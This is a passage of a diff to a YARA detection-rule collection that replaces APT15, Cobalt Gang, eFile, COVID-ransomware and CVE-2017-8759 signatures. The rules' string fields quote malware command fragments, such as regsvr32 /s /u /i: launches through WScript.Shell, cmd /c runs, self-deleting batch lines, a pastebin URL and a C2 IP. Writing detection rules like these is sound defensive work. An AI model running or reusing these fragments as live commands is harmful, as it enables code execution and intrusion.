-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_8759.yar#L78-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "184179006ed2ac2ad76e09c53196805fcb1b7380dab1d5740b4469a89d6b0b32"
+		reference = "https://goo.gl/iqH8CK"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_generic.yar#L73-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "966e14331fa89f2cdb5593a0c10227264085ee127deed28341e395ba6845e19d"
 		score = 75
 		quality = 85
-		tags = "CVE-2017-8759, FILE"
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "840ad14e29144be06722aff4cc04b377364eeed0a82b49cc30712823838e2444"
+		hash1 = "3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52"
 
 	strings:
-		$s1 = /<soap:address location="http[s]?:\/\/[^"]{8,140}.hta"/ ascii wide
-		$s2 = /<soap:address location="http[s]?:\/\/[^"]{8,140}mshta.exe"/ ascii wide
+		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
+		$s2 = "https://pastebin.com/raw/" wide
+		$s3 = "My.Computer" fullword ascii
+		$s4 = "MyTemplate" fullword ascii
 
 	condition:
-		( filesize <200KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_CVE_2017_8759_WSDL_In_RTF : CVE_2017_8759 FILE
+rule SIGNATURE_BASE_MAL_Unspecified_Jan18_1 : FILE
 {
 	meta:
-		description = "Detects malicious RTF file related CVE-2017-8759"
-		author = "Security Doggo @xdxdxdxdoa"
-		id = "daaa5489-af96-5a69-b2dd-81406c0a1edc"
-		date = "2017-09-15"
+		description = "Detects unspecified malware sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f3187c60-8fff-54de-9918-2fb2301f2d92"
+		date = "2018-01-19"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/xdxdxdxdoa/status/908665278199996416"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_8759.yar#L94-L110"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47adc7adfc55239792aef818648546adb1627e74690de0d811100cc49aab8c2f"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_generic.yar#L91-L110"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd4f7247473e04c348b49970ee3a6fd01415f005ac6dc7a79fbf937a693a80f4"
 		score = 75
 		quality = 85
-		tags = "CVE-2017-8759, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f87879b29ff83616e9c9044bd5fb847cf5d2efdd2f01fc284d1a6ce7d464a417"
 
 	strings:
-		$doc = "d0cf11e0a1b11ae1"
-		$obj = "\\objupdate"
-		$wsdl = "7700730064006c003d00" nocase
-		$http1 = "68007400740070003a002f002f00" nocase
-		$http2 = "680074007400700073003a002f002f00" nocase
-		$http3 = "6600740070003a002f002f00" nocase
+		$s1 = "User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
+		$s2 = "ping 192.0.2.2 -n 1 -w %d >nul 2>&1" fullword ascii
+		$s3 = "[Log Started] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
+		$s4 = "start /b \"\" cmd /c del \"%%~f0\"&exit /b" fullword ascii
+		$s5 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
+		$s6 = "%s\\%s.bat" fullword ascii
+		$s7 = "DEL /s \"%s\" >nul 2>&1" fullword ascii
 
 	condition:
-		uint32be(0)==0x7B5C7274 and $obj and $doc and $wsdl and 1 of ($http*)
+		filesize <300KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Donotteam_Ytyframework : APT DONOTTEAM WINDOWS FILE
+rule SIGNATURE_BASE_MAL_JS_Efile_Apr23_1
 {
 	meta:
-		description = "Modular malware framework with similarities to EHDevel"
-		author = "James E.C, ProofPoint"
-		id = "6dd07019-aa5a-5966-8331-b6f6758b0652"
-		date = "2018-08-03"
+		description = "Detects JavaScript malware used in eFile compromise"
+		author = "Florian Roth"
+		id = "ba7a8b2c-789c-5bc5-be53-f2b92c7039e1"
+		date = "2023-04-06"
 		modified = "2023-12-05"
-		reference = "https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_donotteam_ytyframework.yar#L3-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1e0c1b97925e1ed90562d2c68971e038d8506b354dd6c1d2bcc252d2a48bc31c"
-		logic_hash = "8e2841fd4550f12d88fb451a893f1ba41f0d3c123d9c195fe97366202376ef61"
+		reference = "https://twitter.com/Ax_Sharma/status/1643178696084271104/photo/1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_efile_apr23.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6d94162e5719b92d9df349e7d48cd70e218998b0e120870a435a8073fa49c532"
 		score = 75
-		quality = 83
-		tags = "APT, DONOTTEAM, WINDOWS, FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$x1 = "/football/download2/" ascii wide
-		$x2 = "/football/download/" ascii wide
-		$x3 = "Caption: Xp>" wide
-		$x_c2 = "5.135.199.0" ascii fullword
-		$a1 = "getGoogle" ascii fullword
-		$a2 = "/q /noretstart" wide
-		$a3 = "IsInSandbox" ascii fullword
-		$a4 = "syssystemnew" ascii fullword
-		$a5 = "ytyinfo" ascii fullword
-		$a6 = "\\ytyboth\\yty " ascii
-		$s1 = "SELECT Name FROM Win32_Processor" wide
-		$s2 = "SELECT Caption FROM Win32_OperatingSystem" wide
-		$s3 = "SELECT SerialNumber FROM Win32_DiskDrive" wide
-		$s4 = "VM: Yes" wide fullword
-		$s5 = "VM: No" wide fullword
-		$s6 = "helpdll.dll" ascii fullword
-		$s7 = "boothelp.exe" ascii fullword
-		$s8 = "SbieDll.dll" wide fullword
-		$s9 = "dbghelp.dll" wide fullword
-		$s10 = "YesNoMaybe" ascii fullword
-		$s11 = "saveData" ascii fullword
-		$s12 = "saveLogs" ascii fullword
+		$s1 = "let payload_chrome = "
+		$s2 = "else if (agent.indexOf(\"firefox"
 
 	condition:
-		uint16be(0)==0x4d5a and filesize <500KB and (pe.imphash()=="87775285899fa860b9963b11596a2ded" or 1 of ($x*) or 3 of ($a*) or 6 of ($s*))
+		all of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_COVID19_Apr20_1 : FILE
+rule SIGNATURE_BASE_MAL_PHP_Efile_Apr23_1
 {
 	meta:
-		description = "Detects ransomware distributed in COVID-19 theme"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fc723d1f-e969-5af6-af57-70d00bf797f4"
-		date = "2020-04-15"
+		description = "Detects malware "
+		author = "Florian Roth"
+		id = "d663b38e-b082-5cf7-9853-f4685bf3a87b"
+		date = "2023-04-06"
 		modified = "2023-12-05"
-		reference = "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_covid_ransom.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b32ce1dff9d27c5f7541de97cd1198b0d837a69ee260b327c66a22ca6f30091"
+		reference = "https://twitter.com/malwrhunterteam/status/1642988428080865281?s=12&t=C0_T_re0wRP_NfKa27Xw9w"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_efile_apr23.yar#L18-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec4ac3f5c19f506a70eacb5fe3173cc06bf20567bbc9a96f3b269910382e5fa2"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "2779863a173ff975148cb3156ee593cb5719a0ab238ea7c9e0b0ca3b5a4a9326"
+		tags = ""
 
 	strings:
-		$s1 = "/savekey.php" wide
-		$op1 = { 3f ff ff ff ff ff 0b b4 }
-		$op2 = { 60 2e 2e 2e af 34 34 34 b8 34 34 34 b8 34 34 34 }
-		$op3 = { 1f 07 1a 37 85 05 05 36 83 05 05 36 83 05 05 34 }
+		$s1 = "mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )" ascii
+		$s2 = "C:\\\\ProgramData\\\\Browsers" ascii fullword
+		$s3 = "curl_https($api_url." ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and 2 of them
+		all of them
 }
 import "pe"
 
@@ -284070,8 +295438,8 @@ rule SIGNATURE_BASE_Apt_Sofacy_Xtunnel : FILE
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_xtunnel_bundestag.yar#L3-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_xtunnel_bundestag.yar#L3-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
 		logic_hash = "2478d9d8996bf4a142e39eac0e2d6af718d364be080a89530812615595777efd"
 		score = 75
 		quality = 85
@@ -284108,8 +295476,8 @@ rule SIGNATURE_BASE_Winexe_Remoteexec : FILE
 		date = "2015-06-19"
 		modified = "2021-02-11"
 		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_xtunnel_bundestag.yar#L26-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_xtunnel_bundestag.yar#L26-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
 		logic_hash = "9e944f07b43b934346c0e88685014c05ff81561ac2f7c3374b55b9c4523b98c1"
 		score = 70
 		quality = 85
@@ -284138,8 +295506,8 @@ rule SIGNATURE_BASE_Sofacy_Mal2 : FILE
 		date = "2015-06-19"
 		modified = "2023-12-05"
 		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_xtunnel_bundestag.yar#L50-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_xtunnel_bundestag.yar#L50-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
 		hash = "566ab945f61be016bfd9e83cc1b64f783b9b8deb891e6d504d3442bc8281b092"
 		logic_hash = "c325ed815b7de3338363d064f4097edf0596644d4ef8d642fda3664a2a16c2eb"
 		score = 70
@@ -284166,8 +295534,8 @@ rule SIGNATURE_BASE_Sofacy_Mal3 : FILE
 		date = "2015-06-19"
 		modified = "2023-01-06"
 		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_xtunnel_bundestag.yar#L69-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_xtunnel_bundestag.yar#L69-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
 		hash = "5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1"
 		logic_hash = "80c433cf5b3d042e46b5441a1b027c5ecf571f30571064904a33e92677633e66"
 		score = 70
@@ -284203,8 +295571,8 @@ rule SIGNATURE_BASE_Sofacy_Bundestag_Batch : FILE
 		date = "2015-06-19"
 		modified = "2023-12-05"
 		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_xtunnel_bundestag.yar#L101-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_xtunnel_bundestag.yar#L101-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
 		logic_hash = "05d6df161042a65f9eeec4be4046001a03fa61747a9ea123f13e6e75d6664ac7"
 		score = 70
 		quality = 85
@@ -284221,9165 +295589,8720 @@ rule SIGNATURE_BASE_Sofacy_Bundestag_Batch : FILE
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT15_Malware_Mar18_Royalcli : FILE
-{
-	meta:
-		description = "Detects malware from APT 15 report by NCC Group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "165bfa6c-1a8d-5628-8c35-da4e4a2ae04f"
-		date = "2018-03-10"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/HZ5XMN"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L13-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27fb5e8ff299201d1d13f4a45c401570f76ddfa4c3c1153eff50187170ada06e"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
-
-	strings:
-		$s1 = "\\Release\\RoyalCli.pdb" ascii
-		$s2 = "%snewcmd.exe" fullword ascii
-		$s3 = "Run cmd error %d" fullword ascii
-		$s4 = "%s~clitemp%08x.ini" fullword ascii
-		$s5 = "run file failed" fullword ascii
-		$s6 = "Cmd timeout %d" fullword ascii
-		$s7 = "2 %s  %d 0 %d" fullword ascii
-
-	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 2 of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_APT15_Malware_Mar18_Royaldns : FILE
-{
-	meta:
-		description = "Detects malware from APT 15 report by NCC Group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c2f519db-2750-53ce-ae18-697ea041faaf"
-		date = "2018-03-10"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/HZ5XMN"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L34-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d42f48d7d816c0b0ea05145e9dd43b1b2589f3131bf286e1b39c0efaf1c6fac"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
-
-	strings:
-		$x1 = "del c:\\windows\\temp\\r.exe /f /q" fullword ascii
-		$x2 = "%s\\r.exe" fullword ascii
-		$s1 = "rights.dll" fullword ascii
-		$s2 = "\"%s\">>\"%s\"\\s.txt" fullword ascii
-		$s3 = "Nwsapagent" fullword ascii
-		$s4 = "%s\\r.bat" fullword ascii
-		$s5 = "%s\\s.txt" fullword ascii
-		$s6 = "runexe" fullword ascii
-
-	condition:
-		uint16(0)==0x5a4d and filesize <200KB and ((pe.exports("RunInstallA") and pe.exports("RunUninstallA")) or 1 of ($x*) or 2 of them )
-}
-import "pe"
-
-rule SIGNATURE_BASE_APT15_Malware_Mar18_BS2005 : FILE
+rule SIGNATURE_BASE_Cobaltstrike_CN_Group_Beacondropper_Aug17 : FILE
 {
 	meta:
-		description = "Detects malware from APT 15 report by NCC Group"
+		description = "Detects Script Dropper of Cobalt Gang used in August 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "700bbe14-d79e-5a35-aab3-31eacd5bd950"
-		date = "2018-03-10"
+		id = "5631b0bc-9e25-524a-9003-73779fd492f7"
+		date = "2017-08-09"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/HZ5XMN"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L61-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "306903da4ecc9f5bf670d8c49039dee0ce5500c185acaef74786a2c109a4734b"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cobaltgang.yar#L15-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "89db9c5f09afc9cb54fb7a9cd1490373c568ac4dc04bdb9ef71136f91e16ad2c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b"
+		hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
+		hash2 = "1c845bb0f6b9a96404af97dcafdc77f1629246e840c01dd9f1580a341f554926"
+		hash3 = "6206e372870ea4f363be53557477f9748f1896831a0cdef3b8450a7fb65b86e1"
 
 	strings:
-		$x1 = "AAAAKQAASCMAABi+AABnhEBj8vep7VRoAEPRWLweGc0/eiDrXGajJXRxbXsTXAcZAABK4QAAPWwAACzWAAByrg==" fullword ascii
-		$x2 = "AAAAKQAASCMAABi+AABnhKv3kXJJousn5YzkjGF46eE3G8ZGse4B9uoqJo8Q2oF0AABK4QAAPWwAACzWAAByrg==" fullword ascii
-		$a1 = "http://%s/content.html?id=%s" fullword ascii
-		$a2 = "http://%s/main.php?ssid=%s" fullword ascii
-		$a3 = "http://%s/webmail.php?id=%s" fullword ascii
-		$a9 = "http://%s/error.html?tab=%s" fullword ascii
-		$s1 = "%s\\~tmp.txt" fullword ascii
-		$s2 = "%s /C %s >>\"%s\" 2>&1" fullword ascii
-		$s3 = "DisableFirstRunCustomize" fullword ascii
+		$x1 = "WriteLine(\"(new ActiveXObject('WScript.Shell')).Run('cmd /c c:/" ascii
+		$x2 = "WriteLine(\" (new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" ascii
+		$x3 = "sh.Run(env('cmd /c set > %temp%" ascii
+		$x4 = "sh.Run('regsvr32 /s /u /i:" ascii
+		$x5 = ".Get('Win32_ScheduledJob').Create('regsvr32 /s /u /i:" ascii
+		$x6 = "scrobj.dll','********" ascii
+		$x7 = "www.thyssenkrupp-marinesystems.org" fullword ascii
+		$x8 = "f.WriteLine(\" tLnk=env('%tmp%/'+lnkName+'.lnk');\");" fullword ascii
+		$x9 = "lnkName='office 365'; " fullword ascii
+		$x10 = ";sh=x('WScript.Shell');" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 2 of them )
+		( filesize <200KB and 1 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT15_Malware_Mar18_Msexchangetool : FILE
+rule SIGNATURE_BASE_Cobaltgang_Malware_Aug17_1 : FILE
 {
 	meta:
-		description = "Detects malware from APT 15 report by NCC Group"
+		description = "Detects a Cobalt Gang malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "81b826b6-8c2e-5a8a-a626-9515d40dbbb0"
-		date = "2018-03-10"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/HZ5XMN"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L89-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4e9e29bc69383ab6248241622394afddde6e18032ed6e2b64575362773f25a94"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce"
-
-	strings:
-		$s1 = "\\Release\\EWSTEW.pdb" ascii
-		$s2 = "EWSTEW.exe" fullword wide
-		$s3 = "Microsoft.Exchange.WebServices.Data" fullword ascii
-		$s4 = "tmp.dat" fullword wide
-		$s6 = "/v or /t is null" fullword wide
-
-	condition:
-		uint16(0)==0x5a4d and filesize <40KB and all of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Clean_Apt15_Patchedcmd : FILE
-{
-	meta:
-		description = "This is a patched CMD. This is the CMD that RoyalCli uses."
-		author = "Ahmed Zaki"
-		id = "c6867ad4-f7f2-5d63-bffd-07599ede635d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L118-L131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "90d1f65cfa51da07e040e066d4409dc8a48c1ab451542c894a623bc75c14bf8f"
-		logic_hash = "08a68e14793d2f44ee75e49a43521c7d8bc1fc5ddd005e1fb71cc844966e16ba"
-		score = 75
-		quality = 85
-		tags = "FILE"
-
-	strings:
-		$ = "eisableCMD" wide
-		$ = "%WINDOWS_COPYRIGHT%" wide
-		$ = "Cmd.Exe" wide
-		$ = "Windows Command Processor" wide
-
-	condition:
-		uint16(0)==0x5A4D and all of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Malware_Apt15_Royalcli_1 : FILE
-{
-	meta:
-		description = "Generic strings found in the Royal CLI tool"
-		author = "David Cannings"
-		id = "432c09bf-3c44-5a2c-ba69-7b4fe7eb43cc"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L133-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
-		logic_hash = "3cc0cd81db58e20fbf31fbd9fe65d113b7160e7d2b6739c01987d9e317099b9b"
-		score = 75
-		quality = 85
-		tags = "FILE"
-
-	strings:
-		$ = "%s~clitemp%08x.tmp" fullword
-		$ = "%s /c %s>%s" fullword
-		$ = "%snewcmd.exe" fullword
-		$ = "%shkcmd.exe" fullword
-		$ = "%s~clitemp%08x.ini" fullword
-		$ = "myRObject" fullword
-		$ = "myWObject" fullword
-		$ = "2 %s  %d 0 %d\x0D\x0A"
-		$ = "2 %s  %d 1 %d\x0D\x0A"
-		$ = "%s file not exist" fullword
-
-	condition:
-		uint16(0)==0x5A4D and 5 of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Malware_Apt15_Royalcli_2 : FILE
-{
-	meta:
-		description = "APT15 RoyalCli backdoor"
-		author = "Nikolaos Pantazopoulos"
-		id = "d4acfd2d-385d-5063-898e-d339b50733eb"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L154-L167"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c57ae92ba84355652cd56c8eaad3f277a8f514f8d078f053f3e8208b8bec535f"
-		score = 75
-		quality = 85
-		tags = "FILE"
-
-	strings:
-		$string1 = "%shkcmd.exe" fullword
-		$string2 = "myRObject" fullword
-		$string3 = "%snewcmd.exe" fullword
-		$string4 = "%s~clitemp%08x.tmp" fullword
-		$string6 = "myWObject" fullword
-
-	condition:
-		uint16(0)==0x5A4D and 2 of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Malware_Apt15_Royaldll
-{
-	meta:
-		description = "DLL implant, originally rights.dll and runs as a service"
-		author = "David Cannings"
-		id = "26baef92-1055-56dc-b274-e2a6bc05d85b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L196-L243"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
-		logic_hash = "2ed0d38993a072da189f02233bd7cc0bf1be02e926f687db224f52de9b3a44fc"
-		score = 75
-		quality = 85
-		tags = ""
-
-	strings:
-		$opcodes_jshash = { B8 A7 C6 67 4E 83 C1 02 BA 04 00 00 00 57 90 }
-		$opcodes_encode = { 0F B6 1C 03 8B 55 08 30 1C 17 47 3B 7D 0C }
-		$opcodes_sleep_loop = { 68 (88|B8) (13|0B) 00 00 FF D6 4F 75 F6 }
-		$ = "Nwsapagent" fullword
-		$ = "\"%s\">>\"%s\"\\s.txt"
-		$ = "myWObject" fullword
-		$ = "del c:\\windows\\temp\\r.exe /f /q"
-		$ = "del c:\\windows\\temp\\r.ini /f /q"
-
-	condition:
-		3 of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Malware_Apt15_Royaldll_2 : FILE
-{
-	meta:
-		description = "DNS backdoor used by APT15"
-		author = "Ahmed Zaki"
-		id = "3bc546a5-38b9-5504-b09e-305ba7bbd6bc"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L245-L261"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
-		logic_hash = "94e2b61ff19b1377f461203cb22c607e718683691e54a3de3ed32bf6ed2897fa"
-		score = 75
-		quality = 85
-		tags = "FILE"
-
-	strings:
-		$ = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" wide ascii
-		$ = "netsvcs" wide ascii fullword
-		$ = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" wide ascii fullword
-		$ = "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
-		$ = "myWObject" wide ascii
-
-	condition:
-		uint16(0)==0x5A4D and all of them and pe.exports("ServiceMain") and filesize >50KB and filesize <600KB
-}
-import "pe"
-
-rule SIGNATURE_BASE_Malware_Apt15_Exchange_Tool : FILE
-{
-	meta:
-		description = "This is a an exchange enumeration/hijacking tool used by an APT 15"
-		author = "Ahmed Zaki"
